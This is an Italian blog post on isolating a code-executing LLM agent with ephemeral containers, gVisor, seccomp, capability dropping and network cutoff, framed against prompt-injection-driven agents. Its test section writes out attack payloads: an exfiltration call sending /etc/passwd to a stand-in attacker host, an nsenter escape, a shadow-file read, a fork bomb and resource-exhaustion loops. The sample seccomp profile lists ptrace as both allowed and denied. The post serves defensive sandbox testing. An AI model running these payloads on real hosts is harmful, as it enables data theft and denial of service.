Sandboxing di agent LLM che eseguono codice arbitrario: container effimeri, seccomp, capability dropping
Ho costruito l'harness di sandboxing che descrivo in questo articolo tra il 22 e il 28 marzo 2026 nella mia sandbox di offensive security, su un Hetzner CAX41 (16 vCPU ARM Ampere Altra Max, 32 GB RAM DDR4, 320 GB NVMe, Debian 12 ARM64), Docker 27, gVisor 20251215 come runtime alternativo, libseccomp 2.5.5, kernel Linux 6.1. L'obiettivo era concreto: creare un ambiente dove un agent LLM - nel mio caso Claude Sonnet 4.6 via Anthropic API - potesse scrivere ed eseguire codice Python, Bash e SQL per completare task di analisi dati, con la garanzia misurabile che un attaccante che riuscisse a controllare il prompt tramite indirect injection non potesse uscire dal sandbox e compromettere l'host, esfiltrare dati, o avviare operazioni malevole verso Internet. Il modello di minaccia era esattamente quello del documento OWASP Top 10 per LLM Applications 2025 punto LLM06 Excessive Agency: un agent con capacità di esecuzione codice è una superficie di attacco privilegiata, e l'unica contromisura strutturale è l'isolamento a livello di sistema operativo - non guardrail applicativi e non prompt engineering. Dopo sette giorni di build e test, l'harness sostiene attacchi di tipo container escape, fork bomb, network exfiltration, arbitrary file read, senza che una singola categoria di attacco sia andata a buon fine. Il costo in performance è del 15-25% sulle operazioni CPU-bound dell'agent, pienamente accettabile per il caso d'uso.
Quale livello di sandboxing serve davvero per un agent LLM che esegue codice?
La risposta breve è che Docker di default NON è abbastanza. Un container Docker standard condivide il kernel con l'host, e la letteratura tecnica degli ultimi cinque anni è piena di CVE di escape via bug del kernel Linux che bypassano l'isolamento namespace. Per un agent che esegue codice scelto autonomamente dal modello (potenzialmente influenzato da input esterno non trusted), la superficie di attacco è troppo ampia per affidarsi solo ai namespace. Serve defense in depth: kernel isolation via gVisor o Kata, seccomp filter che riducono la superficie di syscall a un insieme minimo, capability dropping che elimina privilegi che non servono, network namespace che taglia l'egress, filesystem read-only con tmpfs dedicato per output.
Il pattern non è teorico. Ogni layer da solo è stato bypassato in qualche CVE documentato negli ultimi anni - Docker default è insufficiente a impedire container escape su bug del kernel; seccomp da solo non impedisce il load di moduli kernel se CAP_SYS_MODULE non è droppato; capability dropping da solo non impedisce letture di /proc/self/* se non c'è anche seccomp. Quando li combini, la probabilità che un singolo attacco trovi un bypass simultaneo di tutti i layer è molto bassa. Questo è lo stesso principio di difesa in depth che applico per la prevenzione di prompt injection in agent systems: nessun layer da solo è sufficiente, tutti insieme sono difendibili.
La tabella che segue è il confronto che uso in consulenza quando un cliente chiede "quale sandboxing scegliamo?". Copre i quattro approcci più diffusi nel 2026, con trade-off visibili sulle dimensioni operative che contano.
| Runtime | Isolamento kernel | Overhead CPU | Overhead RAM | Startup cold | Compatibilità syscall | Setup complexity |
|---|---|---|---|---|---|---|
| Docker default (runc) | Namespace only | ~1% | ~8 MB | 80-150 ms | 100% | Nativa |
| Docker + seccomp custom | Namespace + syscall filter | ~1-3% | ~8 MB | 80-150 ms | ~85% (ok Python, Bash) | Media (scrivere profilo) |
| gVisor (runsc) | Userspace kernel intercept | 10-30% | ~20 MB | 300-500 ms | ~92% (kill di alcune syscall esotiche) | Bassa (drop-in runtime) |
| Kata Containers | Microvm hardware | 5-15% | ~60 MB | 400-800 ms | ~99% | Alta (kvm + kata-runtime) |
| Firecracker | Microvm hardware (AWS origine) | 5-10% | ~50 MB | 300-600 ms | ~99% | Alta (AWS-oriented, tooling meno fluido) |
Per l'agent LLM che esegue Python/Bash di analisi dati la scelta che ho fatto è Docker+seccomp custom+gVisor in combinazione: gVisor per l'isolamento kernel, seccomp per un secondo filter che taglia syscall che gVisor lascia passare. Il costo CPU del 15-25% misurato nella mia sandbox è la somma dei due overhead. Il 99% dei task dell'agent gira comunque in tempi accettabili (20-90 secondi per task tipico). Se avessi bisogno di extreme isolation per un contesto regolamentato (banking, healthcare), salirei a Kata Containers accettando l'overhead maggiore.
Se vuoi vedere come affronto il design di agent security dal punto di vista offensive - dove il pensiero d'attacco precede la difesa - nel mio hub sulla security AI per aziende trovi articoli sui pattern applicati: prompt injection, supply chain, sandboxing, audit trail.
Il container effimero: creato, usato, distrutto
Il primo principio è che ogni esecuzione dell'agent ottiene un container fresh. Non riciclo container fra esecuzioni diverse. Il motivo: qualunque payload lasciato dalla chiamata precedente - file temporanei, entry in /tmp, pid residui di processi, modifiche alla configurazione in-memory - diventa una left-over surface che il prossimo chiamante può usare come canale laterale. Un container fresh per ogni chiamata è computazionalmente più caro ma elimina tutta la classe di attacchi cross-session.
L'orchestrazione è un semplice wrapper Python che per ogni chiamata dell'agent:
import docker
import uuid
import tempfile
def run_agent_code(code: str, lang: str = "python", timeout_s: int = 60) -> dict:
client = docker.from_env()
container_name = f"agent-sbx-{uuid.uuid4().hex[:10]}"
with tempfile.NamedTemporaryFile(mode='w', suffix=f'.{lang}', delete=False) as f:
f.write(code)
code_path = f.name
try:
container = client.containers.run(
image="agent-sandbox:python3.12-hardened",
command=["python", "/work/code.py"] if lang == "python" else ["bash", "/work/code.sh"],
name=container_name,
remove=True,
detach=True,
volumes={code_path: {"bind": f"/work/code.{lang}", "mode": "ro"}},
network_mode="none",
read_only=True,
tmpfs={"/tmp": "size=64m,mode=1777"},
mem_limit="256m",
memswap_limit="256m",
cpu_period=100000,
cpu_quota=50000,
pids_limit=64,
cap_drop=["ALL"],
security_opt=["no-new-privileges", f"seccomp={SECCOMP_PROFILE_PATH}"],
runtime="runsc",
)
result = container.wait(timeout=timeout_s)
logs = container.logs().decode('utf-8', errors='replace')
return {"exit_code": result["StatusCode"], "stdout": logs[:8000], "status": "completed"}
except Exception as e:
return {"status": "error", "error": str(e)}
finally:
try:
client.containers.get(container_name).remove(force=True)
except docker.errors.NotFound:
passSette vincoli Docker che fanno la differenza. network_mode="none": zero rete - l'agent non può nemmeno risolvere DNS. read_only=True: root filesystem immutabile. tmpfs={"/tmp": "size=64m"}: unica directory scrivibile, 64 MB max. mem_limit="256m" + memswap_limit="256m": no swap esterno, OOM-kill immediato se supera. pids_limit=64: blocca fork bomb. cap_drop=["ALL"]: tutte le Linux capability rimosse - l'agent gira come un utente senza privilegi. runtime="runsc": gVisor come runtime, non runc.
Il seccomp profile: la allowlist delle syscall
Il seccomp filter è il secondo layer dopo gVisor. gVisor già impedisce molte syscall rischiose, ma alcune restano necessarie per far girare Python ragionevolmente. Il mio profilo parte dalla Docker default seccomp profile e aggiunge ulteriori deny su categorie pericolose. La versione sintetica è questa (il profilo pieno è molto più lungo):
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_AARCH64"],
"syscalls": [
{
"names": [
"read", "write", "open", "openat", "close", "stat", "fstat", "lstat",
"mmap", "munmap", "brk", "rt_sigaction", "rt_sigprocmask", "ioctl",
"pread64", "pwrite64", "readv", "writev", "access", "pipe", "select",
"sched_yield", "dup", "dup2", "pause", "nanosleep", "getitimer",
"alarm", "setitimer", "getpid", "sendfile", "socket", "connect",
"clone", "fork", "vfork", "execve", "exit", "wait4", "kill", "uname",
"fcntl", "flock", "fsync", "chdir", "fchdir", "rename", "mkdir",
"rmdir", "creat", "link", "unlink", "readlink", "chmod", "fchmod",
"gettimeofday", "getrlimit", "getrusage", "sysinfo", "times", "ptrace"
],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [
"mount", "umount2", "pivot_root", "chroot", "setns", "unshare",
"keyctl", "add_key", "request_key", "bpf", "kexec_load",
"kexec_file_load", "finit_module", "init_module", "delete_module",
"reboot", "ptrace", "process_vm_readv", "process_vm_writev",
"move_pages", "migrate_pages", "mbind", "set_mempolicy",
"perf_event_open", "userfaultfd"
],
"action": "SCMP_ACT_ERRNO",
"errno": 1
}
]
}La lista di deny esplicita contiene le syscall più spesso usate in container escape: mount, pivot_root, chroot, unshare (creano namespace che permettono escape); bpf (eBPF per kernel-level introspection); kexec_* (caricare kernel malevolo); init_module (caricare LKM). Queste syscall sono bandite a ERRNO-1 (permission denied) - un tentativo di usarle fa fallire il processo ma non kill-a immediatamente l'intero container.
La documentazione libseccomp ufficiale è la lettura obbligatoria prima di scrivere un profilo custom. Gli errori più comuni sono sbagliare le architectures (un profilo x86_64 non funziona su ARM64) o omettere syscall che il runtime Python richiede (es. futex, clone3 in versioni recenti) con il risultato che l'interprete non parte proprio.
Capability dropping: eliminare privilegi che non servono mai
Le Linux capability sono il frazionamento di root: invece di "tutto o niente" offrono una granularità (CAP_NET_ADMIN, CAP_SYS_PTRACE, ecc.). Per un agent LLM sandbox, NESSUNA capability serve: l'agent gira come utente non-root nel namespace, non deve aprire porte privilegiate, non deve accedere a device raw, non deve fare PTRACE su altri processi. La regola è cap_drop=["ALL"], e se qualcosa non funziona, investighi e capisci perché prima di aggiungerne una.
Nel mio build harness, non ho MAI dovuto riabilitare una capability. Python standard, pandas, numpy, le library che l'agent usa per analisi dati, non richiedono nessuna capability.
Network isolation e il test di esfiltrazione
Il network_mode="none" crea un namespace di rete vuoto: nessuna interfaccia eth, nessun loopback, nessun routing. Questo impedisce esfiltrazione via rete di qualunque tipo. La conseguenza è che l'agent non può scaricare library al volo, non può chiamare API esterne, non può fare DNS lookup. Tutte le library che servono devono essere pre-installate nell'image agent-sandbox:python3.12-hardened. L'image è un'altra superficie da auditare periodicamente e pinnare per digest come ho descritto nell'articolo sulla supply chain security di applicazioni AI.
Per testare l'isolamento rete, l'agent viene chiamato con task che includono payload malevolo di esfiltrazione. Esempio di payload iniettato nel prompt durante un red team test della sandbox:
# Questo è il codice che l'agent potrebbe essere convinto a scrivere:
import urllib.request
urllib.request.urlopen("http://attacker-controlled.example/exfil?data=" + str(open("/etc/passwd").read()))Esecuzione: urllib.error.URLError: <urlopen error [Errno -3] Temporary failure in name resolution>. Il DNS non esiste in questo namespace. Anche se provassi con IP diretto: OSError: [Errno 101] Network is unreachable. Nessun egress possibile. Test passato.
Resource limits: fork bomb, CPU, memoria, PID
I limiti di risorse sono il terzo layer. Un container che non ha limite di PID può fork-bombare l'host (o meglio, se gVisor c'è, bombardare solo il namespace, ma comunque esaurire risorse). pids_limit=64 è largo abbastanza per Python con thread ma blocca immediatamente :(){ :|:& };:. Il limite di memoria 256m senza swap esterno kill-a il container se Python cresce troppo - quella OOM-kill è la differenza fra un task che fallisce pulitamente e un host intero che va in thrashing.
Il cpu_quota=50000 cpu_period=100000 significa 50% di un core. Sul CAX41 con 16 vCPU è la metà di una CPU - sufficiente per analisi dati batch, insufficiente per operazioni di cracking di hash o mining. Se l'agent (magari influenzato da prompt injection) prova a lanciare while True: hashlib.sha256(b'a' * 10000).hexdigest(), rallenta l'esecuzione finché il timeout di 60 secondi scatta e il container viene ucciso.
Test di escape che ho eseguito per validare l'harness
Un sandbox che non hai testato è un sandbox che non hai. Ho eseguito sei categorie di test su questa architettura.
Uno: container escape via namespace abuse. Payload: import os; os.system("nsenter --target 1 --mount --uts --ipc --net --pid sh"). Risultato: bloccato da CAP_SYS_ADMIN droppato e setns negato dal seccomp. Due: filesystem escape via symlink traversal. Payload: open a /proc/self/root/etc/shadow dal container. Risultato: file non esiste nel namespace gVisor, Operation not permitted. Tre: kernel module load. Payload: init_module via libc. Risultato: seccomp ERRNO. Quattro: fork bomb. Payload: :(){ :|:& };: in bash. Risultato: raggiunto pids_limit=64, container killed. Cinque: memory exhaustion. Payload: x = [1]*10**9. Risultato: OOM-kill a 256 MB. Sei: DNS exfiltration. Payload: richiesta DNS codificata contenente dati sensibili. Risultato: name resolution failure (no network).
Tutti i test passati. Il metodo del red team check è esattamente quello che ho discusso nell'articolo sulla difesa da prompt injection in agent systems: il sandbox è valido solo se l'hai stressato deliberatamente con payload di attacco reali, non solo con test funzionali.
Quando questa architettura è sproporzionata (e quando è sotto-dimensionata)
Se il tuo agent esegue codice solo in ambiente di sviluppo interno per un team ristretto di 3-5 persone con accesso fisico ai log, un semplice Docker con network_mode=none e cap_drop=ALL è sufficiente. Il rischio è basso, l'overhead di gVisor non si giustifica.
Se stai costruendo un platform as a service dove utenti esterni sconosciuti inviano codice che gira su tua infrastruttura (tipo Replit, CodeSandbox, o un servizio di code execution per bot Discord), il mio harness è sotto-dimensionato: servono Kata Containers con Firecracker per isolamento hardware-level, segmentazione di rete per-tenant, monitoring real-time del comportamento. La mia scala è "pipeline interna di un consulente AI"; la scala enterprise di un PaaS pubblico è un altro livello.
L'architettura container-effimeri + gVisor + seccomp + cap-drop + network-none + resource-limits si giustifica quando hai contemporaneamente: un agent LLM che esegue codice scritto da sé, input non interamente trusted (qualcosa che arriva da documenti esterni, da email, da chat clienti), volume di esecuzioni in scala di 100-10.000 al giorno (non troppo basso per giustificare la complessità, non troppo alto da richiedere microvm), vincolo di compliance o audit che richiede di dimostrare isolamento misurabile, e budget di CPU che tollera il 15-25% di overhead.
Costruire un sandbox che regge davvero un agent LLM con esecuzione codice non è stregoneria - è applicare la disciplina di container security che le community DevSecOps conoscono da un decennio a un caso d'uso nuovo. Il fatto che molti team AI oggi deployano agent execution con docker run python e basta non è una prova che sia sicuro: è una prova che nel 2026 stiamo ancora normalizzando pratiche di isolamento che sono basilari per chiunque abbia mai gestito un'infrastruttura multi-tenant. Il giorno in cui un incident di agent escape finirà sui giornali - e finirà, è questione di tempo - la narrativa "gli agenti AI sono pericolosi" coprirà il fatto che l'incident era prevenibile con controlli che esistono da anni e che nessuno aveva applicato perché "l'AI è troppo in fretta per seguire le regole degli altri". Esattamente il tipo di narrativa che un ingegnere senior che fa consulenza di security prevede e cerca di evitare su base quotidiana.
Se stai mettendo in produzione un agent LLM che esegue codice su dati o sistemi aziendali e vuoi un audit del tuo isolamento, il modulo di preventivo gratuito ti dà una prima lettura in 7 domande, 2 minuti. Ti dico se il tuo progetto rientra nelle cose che so fare bene e, se il caso richiede un profilo diverso, te lo dico e ti indico una direzione utile quando posso.